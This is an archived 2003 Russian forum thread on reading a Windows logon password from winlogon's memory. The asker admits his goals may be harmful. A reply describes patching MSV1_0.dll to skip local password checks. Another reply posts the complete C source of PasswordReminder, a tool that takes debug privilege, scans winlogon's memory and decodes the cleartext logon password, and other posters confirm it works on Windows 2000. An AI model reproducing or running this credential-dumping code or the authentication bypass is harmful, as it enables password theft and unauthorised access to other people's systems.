Форум: "Система";
Текущий архив: 2003.04.07;
Скачать: [xml.tar.bz2];

Вниз

winlogon   Найти похожие ветки 

← →
UNLoader   (2003-02-08 19:17) [0]

Мастаки, подскажите пожалуйста, по какому адресу следует читать память winlogon, чтобы прочитать свой пароль?

---

← →
Anatoly Podgoretsky   (2003-02-08 19:39) [1]

Свой пароль читать не надо, он и так тебе известен.

---

← →
Александр Спелицин   (2003-02-08 19:40) [2]

Т.е. Вы как-то ввели свой пароль и теперь хотите его вспомнить?

---

← →
UNLoader   (2003-02-08 19:50) [3]

скажИте, плииз. Просто интересно поразбираться. Я не упоминаю о последующих целях - они могут быть разными - как хорошими, так и не очень.

---

← →
Anatoly Podgoretsky   (2003-02-08 20:05) [4]

С последующими просто, после входа впиши его в переменную и используй только в хороших целях.

---

← →
Burmistroff   (2003-02-09 22:26) [5]

в памяти, в сыром виде его нет. По-моему есть только хэши (что в принципе тоже неплохо).

---

← →
Ich Hasse   (2003-02-09 23:27) [6]

2 Burmistroff
и что тебе даст хэш??? - ничего

---

← →
UNLoader   (2003-02-10 08:40) [7]

2Burmistroff
в том и все дело, что в винлогоне сидит пароль открытым текстом в юникоде, а не хэши.

---

← →
Yelchev   (2003-02-10 12:30) [8]

Открытым текстом в ЮНИКОДЕ он может только быть в диалоге ввода пароля и в переменной pMprNotifyInfo.pszPassword структуры WlxMprNotifyInfo которая может быть доступна для функций MSGINA.DLL Как мне кажется тебе лучше всего написать HOOK на MSGINA.DLL и вытянуть пароль из этой переменной.

---

← →
UNLoader   (2003-02-10 12:51) [9]

Удалено модератором
Примечание: Личная переписка

---

← →
PrettyFly   (2003-02-10 19:15) [10]

Если ты знаешь пароль, то что тебе мешает просканить всю winlogonовскую память и найти адрес?

p.s. Если найдёшь, напиши сюда...

---

← →
Burmistroff   (2003-02-10 19:41) [11]

>UNLoader
Ни в каком чистом виде его нет. В MS не дураки сидят. Я очень сильно удеввлюсь, если окажусь неправ.

>Ich Hasse
к хэш"у можно подобрать (перебором) пароль (почти все известные "инструменты" так и делают)

---

← →
UNLoader   (2003-02-11 08:56) [12]

а как интересно это делает например PasswordReminder??? Перебором хеша??? за 1 сек???

---

← →
and_ss   (2003-02-11 09:05) [13]

>Burmistroff
Можешь удивляться. Попробуй такую фичу. 1) интенсивно работаеш в винде (нужно чтоб она хорошенько посвопилась) 2) выходишь и загружаешься в DOS с дискетки 3) смотришь в своп-файл и оппа-вуаля, твой логин и пароль в открытом виде (не хэш)

---

← →
alexrush   (2003-02-11 17:42) [14]

and_ss>Полный отстой твоя идея.
Итак,
1. ПАРОЛИ В ОТКРЫТОМ ВИДЕ В СИСТЕМЕ (БУДЬ ТО В ОЗУ ИЛИ НА ВИНТЕ) НЕ ХРАНЯТСЯ Н И Г Д Е.
2. Перехватить пароль в открытом виде можно только в одном месте - перехватить клавиатуру во время логина.
3. Из системы можно поиметь только хэши; затем, путем последовательного перебора можно вычислить пароль (на это уйдет МНОГО времени).
4. Можно просто отключить проверку пароля на локальной машине и зайти под локальным админом. Пароль отключается путем правки MSV1_0.dll: один из
cmp xxxxxx
jz yyyyyy
на
nop
jmp yyyyyy
какой? IDA pro вам в руки и да поможет Вам ресет

---

← →
ZZ   (2003-02-11 18:13) [15]

В общем тут это уже обсуждали и пришли к выводу, что пароль все-же хранится в открытом виде в памяти winlogon"а. А UNLoader просто про№№№л свое счастье и вовремя не записал что к чему - вот теперь мучается...

---

← →
Romkin   (2003-02-11 18:28) [16]


// PasswordReminder.cpp
//
// This code is licensed under the terms of the GPL (gnu public license).
//
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <string.h>

typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

// Undocumented typedef"s
typedef struct _QUERY_SYSTEM_INFORMATION
{
DWORD GrantedAccess;
DWORD PID;
WORD HandleType;
WORD HandleId;
DWORD Handle;
} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;

typedef struct _PROCESS_INFO_HEADER
{
DWORD Count;
DWORD Unk04;
DWORD Unk08;
} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;

typedef struct _PROCESS_INFO
{
DWORD LoadAddress;
DWORD Size;
DWORD Unk08;
DWORD Enumerator;
DWORD Unk10;
char Name[0x108];
} PROCESS_INFO, *PPROCESS_INFO;

typedef struct _ENCODED_PASSWORD_INFO
{
DWORD HashByte;
DWORD Unk04;
DWORD Unk08;
DWORD Unk0C;
FILETIME LoggedOn;
DWORD Unk18;
DWORD Unk1C;
DWORD Unk20;
DWORD Unk24;
DWORD Unk28;
UNICODE_STRING EncodedPassword;
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;

typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING);

// Private Prototypes
BOOL IsWinNT (void);
BOOL IsWin2K (void);
BOOL AddDebugPrivilege (void);
DWORD FindWinLogon (void);
BOOL LocatePasswordPageWinNT (DWORD, PDWORD);
BOOL LocatePasswordPageWin2K (DWORD, PDWORD);
void DisplayPasswordWinNT (void);
void DisplayPasswordWin2K (void);

// Global Variables
PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;
DWORD PasswordLength = 0;
PVOID RealPasswordP = NULL;
PVOID PasswordP = NULL;
DWORD HashByte = 0;
wchar_t UserName [0x400];
wchar_t UserDomain [0x400];

int __cdecl main(int argc, char* argv[])
{
printf ("\n\tPasswordReminder\n\n\tUsage: passwordreminder [winlogonpid]\n\n");

if((!IsWinNT ()) && (!IsWin2K ()))
{
printf ("Windows NT or Windows 2000 are required.\n");
return (0);
}

// Add debug privilege to PasswordReminder -
// this is needed for the search for Winlogon.
// PasswordReminder
// PasswordReminder Winlogon
if(!AddDebugPrivilege())
{
printf("Unable to add debug privilege.\n");
return (0);
}

printf ("The debug privilege has been added to PasswordReminder.\n");

HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");

pfnNtQuerySystemInformation =
(PFNNTQUERYSYSTEMINFORMATION) GetProcAddress(hNtDll, "NtQuerySystemInformation");
pfnRtlCreateQueryDebugBuffer =
(PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress(hNtDll, "RtlCreateQueryDebugBuffer");
pfnRtlQueryProcessDebugInformation =
(PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress(hNtDll, "RtlQueryProcessDebugInformation");
pfnRtlDestroyQueryDebugBuffer =
(PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress(hNtDll, "RtlDestroyQueryDebugBuffer");
pfnRtlRunDecodeUnicodeString =
(PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress(hNtDll, "RtlRunDecodeUnicodeString");

DWORD WinLogonPID;

if(argc > 1)
{
WinLogonPID = atoi(argv[1]);
printf ("WinLogon process id %d (0x%8.8lx) specified in command line.\n", WinLogonPID, WinLogonPID);
}
else
{
printf ("Automaticaly search for WinLogon PID...\n");
// Locate WinLogon"s PID - need debug privilege and admin rights.
// Winlogon PID
// Native API, PSAPI
WinLogonPID = FindWinLogon();
if(WinLogonPID == 0)
{
printf("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");
printf("PasswordReminder is unable to find the password in memory.\n");
FreeLibrary(hNtDll);
return (0);
}

printf("The WinLogon process id is %d (0x%8.8lx).\n", WinLogonPID, WinLogonPID);
}

---

← →
Romkin   (2003-02-11 18:29) [17]


// Set values to check memory block against.
memset(UserName, 0, sizeof(UserName));
memset(UserDomain,0, sizeof(UserDomain));

GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);

// Locate the block of memory containing
// the password in WinLogon"s memory space.
// Winlogon Password
BOOL FoundPasswordPage/* = FALSE*/;
if(IsWin2K ())
FoundPasswordPage = LocatePasswordPageWin2K(WinLogonPID, &PasswordLength);
else
FoundPasswordPage = LocatePasswordPageWinNT(WinLogonPID, &PasswordLength);

if(FoundPasswordPage)
{
if(PasswordLength == 0)
{
printf("The logon information is: %S/%S.\n", UserDomain, UserName);
printf("There is no password.\n");
}
else
{
printf("The encoded password is found at 0x%8.8lx and has a length of %d.\n",
RealPasswordP, PasswordLength);

// Decode the password string.
if(IsWin2K())
DisplayPasswordWin2K();
else
DisplayPasswordWinNT();
}
}
else
printf("PasswordReminder is unable to find the password in memory.\n");

FreeLibrary(hNtDll);

return 0;
} // main

//
// IsWinNT
//
BOOL IsWinNT(void)
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(GetVersionEx(&OSVersionInfo))
return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
else
return (FALSE);
} // IsWinNT

//
// IsWin2K
//
BOOL IsWin2K(void)
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(GetVersionEx(&OSVersionInfo))
return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) &&
(OSVersionInfo.dwMajorVersion == 5));
else
return (FALSE);
} // IsWin2K

//
// AddDebugPrivilege
//
BOOL AddDebugPrivilege(void)
{
HANDLE Token;
TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
DWORD ReturnLength = 0;

if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token))
if(LookupPrivilegeValue(NULL, _T("SeDebugPrivilege"), &TokenPrivileges.Privileges[0].Luid))
{
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
return (AdjustTokenPrivileges(Token, FALSE, &TokenPrivileges,
sizeof(TOKEN_PRIVILEGES), &PreviousState, &ReturnLength));
}

return FALSE;
} // AddDebugPrivilege

//
// Note that the following code eliminates the need
// for PSAPI.DLL as part of the executable.
// FindWinLogon WinLogon
// Native API, PSAPI
//
DWORD FindWinLogon(void)
{
#define INITIAL_ALLOCATION 0x100
DWORD rc = 0;
DWORD SizeNeeded = 0;
PVOID InfoP = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION);

// Find how much memory is required.
pfnNtQuerySystemInformation(0x10, InfoP, INITIAL_ALLOCATION, &SizeNeeded);

HeapFree(GetProcessHeap(), 0, InfoP);

// Now, allocate the proper amount of memory.
InfoP = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SizeNeeded);

DWORD SizeWritten = SizeNeeded;
if(pfnNtQuerySystemInformation(0x10, InfoP, SizeNeeded, &SizeWritten))
{
HeapFree(GetProcessHeap(), 0, InfoP);
return 0;
}

DWORD NumHandles = SizeWritten / sizeof(QUERY_SYSTEM_INFORMATION);
if(NumHandles == 0)
{
HeapFree(GetProcessHeap(), 0, InfoP);
return 0;
}

PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
(PQUERY_SYSTEM_INFORMATION)InfoP;


---

← →
Romkin   (2003-02-11 18:30) [18]


DWORD i;
for(i = 1; i <= NumHandles; i++)
{
// "5" is the value of a kernel object type process.
if(QuerySystemInformationP->HandleType == 5)
{
PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer(0, 0);

if(pfnRtlQueryProcessDebugInformation(QuerySystemInformationP->PID,
1, DebugBufferP) == 0)
{
PPROCESS_INFO_HEADER ProcessInfoHeaderP =
(PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);

DWORD Count = ProcessInfoHeaderP->Count;
PPROCESS_INFO ProcessInfoP = (PPROCESS_INFO)
((DWORD) ProcessInfoHeaderP + sizeof(PROCESS_INFO_HEADER));

if(strstr(strupr(ProcessInfoP->Name), "WINLOGON") != 0)
{
DWORD i;
DWORD dw = (DWORD) ProcessInfoP;
for (i = 0; i < Count; i++)
{
dw += sizeof(PROCESS_INFO);
ProcessInfoP = (PPROCESS_INFO) dw;

if(strstr(strupr(ProcessInfoP->Name), "NWGINA") != 0)
return (0);

if(strstr(strupr(ProcessInfoP->Name), "MSGINA") == 0)
rc = QuerySystemInformationP->PID;
}

if(DebugBufferP)
pfnRtlDestroyQueryDebugBuffer(DebugBufferP);
HeapFree(GetProcessHeap(), 0, InfoP);
return (rc);
}
}

if(DebugBufferP)
pfnRtlDestroyQueryDebugBuffer(DebugBufferP);
}

DWORD dw = (DWORD)QuerySystemInformationP;
dw += sizeof(QUERY_SYSTEM_INFORMATION);
QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION)dw;
}

HeapFree(GetProcessHeap(), 0, InfoP);
return (rc);
} // FindWinLogon


---

← →
Romkin   (2003-02-11 18:30) [19]


//
// LocatePasswordPageWinNTNT
//
BOOL LocatePasswordPageWinNT(DWORD WinLogonPID, PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WINNT 0x200
#define USER_PASSWORD_OFFSET_WINNT 0x400
BOOL rc = FALSE;
HANDLE WinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, WinLogonPID);

if(WinLogonHandle == 0)
return rc;

*PasswordLength = 0;
SYSTEM_INFO SystemInfo;

GetSystemInfo(&SystemInfo);

DWORD PEB = 0x7ffdf000;
DWORD BytesCopied = 0;
PVOID PEBP = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemInfo.dwPageSize);

if(!ReadProcessMemory(WinLogonHandle, (PVOID)PEB, PEBP, SystemInfo.dwPageSize,
&BytesCopied))
{
CloseHandle(WinLogonHandle);
return rc;
}

// Grab the value of the 2nd DWORD in the TEB.
PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof(DWORD)));
MEMORY_BASIC_INFORMATION MemoryBasicInformation;

if(VirtualQueryEx(WinLogonHandle, (PVOID) *WinLogonHeap, &MemoryBasicInformation,
sizeof(MEMORY_BASIC_INFORMATION)))
if(((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
&& ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
{
PVOID WinLogonMemP = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
MemoryBasicInformation.RegionSize);

if(ReadProcessMemory(WinLogonHandle, (PVOID) *WinLogonHeap, WinLogonMemP,
MemoryBasicInformation.RegionSize, &BytesCopied))
{
DWORD i = (DWORD) WinLogonMemP;
DWORD UserNamePos = 0;

// The order in memory is UserName followed by the UserDomain.
do
{
if((wcscmp(UserName, (wchar_t*) i) == 0)
&& (wcscmp(UserDomain, (wchar_t*) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
{
UserNamePos = i;
break;
}
i += 2;
} while(i < (DWORD)WinLogonMemP + MemoryBasicInformation.RegionSize);

if(UserNamePos)
{
PENCODED_PASSWORD_INFO EncodedPasswordInfoP =
(PENCODED_PASSWORD_INFO)((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);
FILETIME LocalFileTime;
SYSTEMTIME SystemTime;

if(FileTimeToLocalFileTime(&EncodedPasswordInfoP->LoggedOn, &LocalFileTime))
if(FileTimeToSystemTime(&LocalFileTime, &SystemTime))
printf("You logged on at %d/%d/%d %d:%d:%d\n",
SystemTime.wMonth,
SystemTime.wDay,
SystemTime.wYear,
SystemTime.wHour,
SystemTime.wMinute,
SystemTime.wSecond);

*PasswordLength = (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof(wchar_t);

// NT,hash-byte:)
HashByte = (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;

RealPasswordP = (PVOID) (*WinLogonHeap + (UserNamePos - (DWORD) WinLogonMemP) +
USER_PASSWORD_OFFSET_WINNT + 0x34);

PasswordP = (PVOID) ((PBYTE) (UserNamePos + USER_PASSWORD_OFFSET_WINNT + 0x34));
rc = TRUE;
}
}
}

HeapFree(GetProcessHeap(), 0, PEBP);
CloseHandle(WinLogonHandle);

return rc;
} // LocatePasswordPageWinNT


---

← →
Romkin   (2003-02-11 18:31) [20]


//
// LocatePasswordPageWin2KWin2K
//
BOOL LocatePasswordPageWin2K(DWORD WinLogonPID, PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WIN2K 0x400
#define USER_PASSWORD_OFFSET_WIN2K 0x800
HANDLE WinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, WinLogonPID);

if(WinLogonHandle == 0)
return FALSE;

*PasswordLength = 0;
SYSTEM_INFO SystemInfo;

GetSystemInfo(&SystemInfo);

DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;
DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;
DWORD Increment /* = SystemInfo.dwPageSize*/;
MEMORY_BASIC_INFORMATION MemoryBasicInformation;

while(i < MaxMemory)
{
if(VirtualQueryEx(WinLogonHandle, (PVOID) i, &MemoryBasicInformation,
sizeof(MEMORY_BASIC_INFORMATION)))
{
Increment = MemoryBasicInformation.RegionSize;

if(((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
&& ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
{
PVOID RealStartingAddressP = HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize);

DWORD BytesCopied = 0;

if(ReadProcessMemory(WinLogonHandle, (PVOID)i, RealStartingAddressP,
MemoryBasicInformation.RegionSize, &BytesCopied))
{
// WinLogonUserNameDomainName
if((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
&& (wcscmp((wchar_t *) ((DWORD) RealStartingAddressP +
USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
{
RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);
PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);
// Calculate the length of encoded unicode string.
//
PBYTE p = (PBYTE) PasswordP;
DWORD Loc = (DWORD) p;
DWORD Len = 0;

if((*p == 0) && (* (PBYTE) ((DWORD) p + 1) == 0));
else
do
{
Len++;
Loc += 2;
p = (PBYTE)Loc;
} while(*p != 0);

*PasswordLength = Len;

CloseHandle(WinLogonHandle);
return TRUE;
}
}

HeapFree(GetProcessHeap(), 0, RealStartingAddressP);
}
}
else
Increment = SystemInfo.dwPageSize;

// Move to next memory block.
i += Increment;
}

CloseHandle(WinLogonHandle);
return FALSE;
} // LocatePasswordPageWin2K

//
// DisplayPasswordWinNTNT
//
void DisplayPasswordWinNT(void)
{
UNICODE_STRING EncodedString;

EncodedString.Length = (WORD)PasswordLength * sizeof(wchar_t);
EncodedString.MaximumLength = ((WORD)PasswordLength * sizeof(wchar_t)) + sizeof(wchar_t);
EncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
EncodedString.MaximumLength);

CopyMemory(EncodedString.Buffer, PasswordP, PasswordLength * sizeof(wchar_t));

// Finally - decode the password.
// Note that only one call is required since the hash-byte
// was part of the orginally encoded string.
// NT,hash-byte
//
pfnRtlRunDecodeUnicodeString((BYTE)HashByte, &EncodedString);

printf("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer);
printf("The hash byte is: 0x%2.2x.\n", HashByte);

HeapFree(GetProcessHeap(), 0, EncodedString.Buffer);
} // DisplayPasswordWinNT


---

← →
Romkin   (2003-02-11 18:32) [21]


//
// DisplayPasswordWin2KWin2K
//
void DisplayPasswordWin2K(void)
{
DWORD i;
UNICODE_STRING EncodedString;

EncodedString.Length = (USHORT)PasswordLength * sizeof(wchar_t);
EncodedString.MaximumLength = ((USHORT)PasswordLength * sizeof(wchar_t)) + sizeof(wchar_t);
EncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
EncodedString.MaximumLength);

// This is a brute force technique since the hash-byte
// is not stored as part of the encoded string - :>(.
// Win2Khash-byte
//
// ihash-byte
// i0x000xff
// hash-byte,
//
// hash-byte
for(i = 0; i <= 0xff; i++)
{
CopyMemory(EncodedString.Buffer, PasswordP, PasswordLength * sizeof(wchar_t));

// Finally - try to decode the password.
// ihash-byte
pfnRtlRunDecodeUnicodeString((BYTE)i, &EncodedString);

// Check for a viewable password.
//
//
PBYTE p = (PBYTE)EncodedString.Buffer;
BOOL Viewable = TRUE;
DWORD j, k;

for(j = 0; (j < PasswordLength) && Viewable; j++)
{
if((*p) && (*(PBYTE)(DWORD (p) + 1) == 0))
{
if(*p < 0x20)
Viewable = FALSE;
if(*p > 0x7e)
Viewable = FALSE;
//0x20,0X7E~,
}
else
Viewable = FALSE;

k = DWORD (p);
k++; k++;
p = (PBYTE)k;
}

if(Viewable)
{
printf("The logon information is: %S/%S/%S.\n", UserDomain, UserName,
EncodedString.Buffer);
printf("The hash byte is: 0x%2.2x.\n", i);
}
}

HeapFree(GetProcessHeap(), 0, EncodedString.Buffer);
} // DisplayPasswordWin2K

// end PasswordReminder.cpp
В общем, разбирайтесь....

---

← →
alexrush   (2003-02-12 13:16) [22]

Romkin -> Признаю, был не прав.
Единственно что, прога PID WinLogon`a автоматом не находит(NT4, sp6), в остальном - рулезз.

---

← →
Romkin   (2003-02-12 17:34) [23]

Ага, у меня тоже :-((
а вот на win2000 - пашет на ура :-))

---

← →
UNLoader   (2003-02-13 11:09) [24]

2Romkin
Спасибо большое. Хоть я и не очень рублю в с, попробую разгрести

---

Страницы: 1 вся ветка

Форум: "Система";
Текущий архив: 2003.04.07;
Скачать: [xml.tar.bz2];

Наверх

Память: 0.53 MB
Время: 0.013 c